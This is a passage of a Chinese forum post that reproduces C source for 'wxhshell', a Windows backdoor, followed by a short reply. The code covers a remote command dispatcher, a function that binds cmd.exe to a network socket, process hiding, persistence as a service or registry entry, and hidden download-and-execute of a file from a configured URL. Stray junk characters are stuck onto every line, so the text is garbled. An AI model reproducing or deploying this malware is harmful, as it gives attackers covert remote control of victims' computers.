  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wNFz*|n  
  } yRp"jcD  
  else { jls-@Wl  
vAY,E=&XvM  
    switch(cmd[0]) { Y!iZW  
  z#BR5jF  
  // 帮助 }_=eT]  
  case '?': { JSh.]j<bJL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WJ<^E"^  
    break; (=D&A<YX  
  } lj+u@Z<xA  
  // 安装 gs!(;N\j|  
  case 'i': {  w 4[{2  
    if(Install()) !*- >;:9B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4DZ-bt'  
    else *5w{8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y0?5w0{  
    break; ()&~@1U  
    } ^B8b%'\  
  // 卸载 CLvX!O(~  
  case 'r': { l Va &"   
    if(Uninstall()) r.7$&BCng  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )95f*wte  
    else `+6R0Ch  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {(r6e  
    break; L(&&26Y  
    } quY:pqG38q  
  // 显示 wxhshell 所在路径 ca+5=+X7  
  case 'p': { eX@L3BKp  
    char svExeFile[MAX_PATH]; q, O$ %-70  
    strcpy(svExeFile,"\n\r"); n; {76Q  
      strcat(svExeFile,ExeFile); ;a:[8Yi  
        send(wsh,svExeFile,strlen(svExeFile),0); LL:_L<  
    break; k)EX(T\  
    } >EY3/Go>  
  // 重启 vpmj||\-  
  case 'b': { .\>v0Du  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MEB it  
    if(Boot(REBOOT)) RX/hz|   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vWAL^?HUP  
    else { d!eYqM7-G  
    closesocket(wsh); "DYJ21Ut4  
    ExitThread(0); U&O: _>~  
    } f^W;A"+  
    break; 9 (QJT}qC  
    } j?'GZ d"B  
  // 关机 .Wjs~0c  
  case 'd': { H;RwO@v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SdD6 ~LS  
    if(Boot(SHUTDOWN)) #%DE;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;!yQ  
    else { Gz .|]:1  
    closesocket(wsh); H%D$(W  
    ExitThread(0); 21"1NJzP  
    } eJg8,7WC  
    break; %c4Hse#Y  
    } X&kp;W  
  // 获取shell Kr)a2rZ}SL  
  case 's': { 1I:+MBGin  
    CmdShell(wsh); O%bEB g  
    closesocket(wsh); ](hE^\SC  
    ExitThread(0); KCs[/]  
    break; 4EY)!?;  
  } h $2</J"  
  // 退出 #\=FO>  
  case 'x': { yqPdl1{Qr=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B {>7-0  
    CloseIt(wsh); ZHa"isl$e  
    break; <Y}R#o1Z  
    } wb0L.'jyR)  
  // 离开 WlU0:(d  
  case 'q': { VVlr*`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z4N*b"QF  
    closesocket(wsh); jyCXJa-!-  
    WSACleanup(); q@{Bt{$x  
    exit(1); GWfL  
    break; LGn:c;  
        } }4,L%$@n  
  } !z>6 Uf!{  
  } ~sh`r{0  
?32&]iM oW  
  // 提示信息 w(L4A0K[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E 7{U |\  
} H*}y^ )x  
  } ~A\GT$  
;0Tx-8l  
  return; uLV#SQ=bZN  
} `x*Pof!Io  
[TmIVQ!B  
// shell模块句柄 c24dSNJg,  
int CmdShell(SOCKET sock) ln6d<; M5  
{ g%=z_  
STARTUPINFO si; iUN Ib  
ZeroMemory(&si,sizeof(si)); qv!2MUw\j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vh4X%b$TV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rbWP78  
PROCESS_INFORMATION ProcessInfo; H:V2[y8\  
char cmdline[]="cmd"; *_d7E   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X9V*UXTc  
  return 0; ;>Ib^ov  
} @J/K-.r  
"]} bFO7C  
// 自身启动模式 oG_~q w|h  
int StartFromService(void) WvY? +JXJ  
{ %WjXg:R  
typedef struct _z|65H  
{ =c\>(2D  
  DWORD ExitStatus; <<][hQs  
  DWORD PebBaseAddress; |IzPgC  
  DWORD AffinityMask; 8<QdMkI  
  DWORD BasePriority; ;@oN s-  
  ULONG UniqueProcessId; &OH={Au  
  ULONG InheritedFromUniqueProcessId; Fww :$^_ k  
}   PROCESS_BASIC_INFORMATION; W:pIPDx1=!  
pOIJH =#  
PROCNTQSIP NtQueryInformationProcess; s{ *[]!  
k5'Vy8q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o6.^*%kM'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W*2BT z  
3[Qxd{8r  
  HANDLE             hProcess; T4Pgbop  
  PROCESS_BASIC_INFORMATION pbi; {8W'%\!=  
m;GCc8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wfLaRP  
  if(NULL == hInst ) return 0; 0x@6^ %^\  
*Q "wwpl?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [1Qo#w1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +nFu|qM}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Z mg#  
lR6@ xJd:@  
  if (!NtQueryInformationProcess) return 0; n{ar gI8wF  
-&zZtDd F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rlOAo`hd  
  if(!hProcess) return 0; &w_j/nW^'  
YJT&{jYi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~:s>aQ`!  
12b(A+M   
  CloseHandle(hProcess); MP Y[X[  
<L8'!q}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KJ)k =mJ  
if(hProcess==NULL) return 0; =O5pY9UO  
#A JDWelD  
HMODULE hMod; YYBDRR"  
char procName[255]; :!WHFB o 8  
unsigned long cbNeeded; p>v$FiV2N  
?N*>*"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E Nh l&J  
-b9\=U[  
  CloseHandle(hProcess); 84& $^lNV  
spH7 /5}  
if(strstr(procName,"services")) return 1; // 以服务启动 61C7.EZZ;  
FXG]LoP  
  return 0; // 注册表启动 k<CJ{u0<  
} q376m-+  
*K8$eDNZ  
// 主模块 Hw}Xbp[y  
int StartWxhshell(LPSTR lpCmdLine) @<hb6bo,N  
{ %S960  
  SOCKET wsl;  dVtG/0  
BOOL val=TRUE; 99e.n0  
  int port=0; JE "x  
  struct sockaddr_in door; C!<Ou6}!b  
xX&+WR  
  if(wscfg.ws_autoins) Install(); U2#"p   
RB7tmJ c  
port=atoi(lpCmdLine); ]nn98y+  
k_#ak%m/  
if(port<=0) port=wscfg.ws_port; {#vgtgBB  
nV|EQs4(  
  WSADATA data; o q Xg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5uGq%(24  
nfbR P t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GY'%+\*tj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #jvtUS\  
  door.sin_family = AF_INET; hR?{3d#x2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iHM%iUV  
  door.sin_port = htons(port); UERLtSQ  
.5_2zat0H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2`K=Hby  
closesocket(wsl); gh]cXuph  
return 1; {UI+$/v#  
} n:?a$Ldgm  
sUO`uqZV  
  if(listen(wsl,2) == INVALID_SOCKET) { z\W64^'"Z  
closesocket(wsl); ,]F,Uu_H7  
return 1; W aRw05r  
} 76{G'}B  
  Wxhshell(wsl); Jq-]7N%k/  
  WSACleanup(); 7;(`MIFXs  
^}=,g  
return 0; ~Fcm[eoC  
\';gvr|  
} Ty?cC**  
q6luUx,@m  
// 以NT服务方式启动 *Hn8)x}E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kS);xA8s]  
{ j_?FmX _  
DWORD   status = 0; b{&)6M)zo  
  DWORD   specificError = 0xfffffff; M'O <h  
?dg [:1R}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Se}c[|8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )qw&%sO +  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CY5Z{qiX  
  serviceStatus.dwWin32ExitCode     = 0; ITI)soa~  
  serviceStatus.dwServiceSpecificExitCode = 0; A}9`S6@@  
  serviceStatus.dwCheckPoint       = 0; xJ]\+ 50  
  serviceStatus.dwWaitHint       = 0; -uG +BraI  
}o(-=lF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N:/D+L  
  if (hServiceStatusHandle==0) return; kVMg 1I@  
&U#|uc!+  
status = GetLastError(); Q Z  
  if (status!=NO_ERROR) *L^,|   
{ n b?l TX~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .|70;  
    serviceStatus.dwCheckPoint       = 0; |0b`fOS  
    serviceStatus.dwWaitHint       = 0; i[3'ec3  
    serviceStatus.dwWin32ExitCode     = status; kgP0x-Ap  
    serviceStatus.dwServiceSpecificExitCode = specificError; aB&&YlR=n<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f}P3O3Yv&  
    return; !*N@ZL&X  
  } 4Z&lYLq;  
F^;ez/Gl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gR;i(81U  
  serviceStatus.dwCheckPoint       = 0; r`d4e,(  
  serviceStatus.dwWaitHint       = 0; \~$#1D1f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "<1{9  
} g8% &RG  
C_JNX9wv  
// 处理NT服务事件,比如:启动、停止 '-~~-}= sJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1>h]{%I  
{ u&7[n_  
switch(fdwControl) z Rr*7G  
{ #)O6 5GI  
case SERVICE_CONTROL_STOP: aX'*pK/-  
  serviceStatus.dwWin32ExitCode = 0; _Y;W0Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S2&4g/  
  serviceStatus.dwCheckPoint   = 0; 3F2w-+L  
  serviceStatus.dwWaitHint     = 0; Wh*uaad7  
  { ?CPahU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d\8l`Krs[_  
  } !pX>!&sb  
  return;  x'<X!gw  
case SERVICE_CONTROL_PAUSE: + [mk<pQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?Z/V~,  
  break; b3, _(;A!  
case SERVICE_CONTROL_CONTINUE: eD6fpe\(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @*( (1(q  
  break; Q p3_f8  
case SERVICE_CONTROL_INTERROGATE: OQJ6e:BGt  
  break; q@8*Xa>  
}; jQB9j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tyx_/pJT  
} 3f{3NzN  
lt8|9"9<  
// 标准应用程序主函数 @Jw-8Q{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SE  %pw9  
{ kt:! 7  
YIYmiv5  
// 获取操作系统版本 EaN6^S=  
OsIsNt=GetOsVer(); ZUd-<y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r;N|)  
(f"4,b^]  
  // 从命令行安装 yY q,*<G  
  if(strpbrk(lpCmdLine,"iI")) Install(); [{,1=AB  
SO!8Di  
  // 下载执行文件 o>pJPV  
if(wscfg.ws_downexe) { SwMc pNo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |CRn c:  
  WinExec(wscfg.ws_filenam,SW_HIDE); *$g-:ILRuZ  
} vr =#3>  
 }.6[qk  
if(!OsIsNt) { ( a#BV}=  
// 如果时win9x,隐藏进程并且设置为注册表启动 v.qrz"98-  
HideProc(); &tj!*k'  
StartWxhshell(lpCmdLine); P&LsVR{#  
} /%^#8<=|U  
else 4Fr  
  if(StartFromService()) N~'c_l  
  // 以服务方式启动 >z@0.pN]7  
  StartServiceCtrlDispatcher(DispatchTable); c\j/k[\<  
else PEZ!n.'S  
  // 普通方式启动 sXFZWj }\  
  StartWxhshell(lpCmdLine); |yPu!pfl  
I; rGD^  
return 0; Cp0=k  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五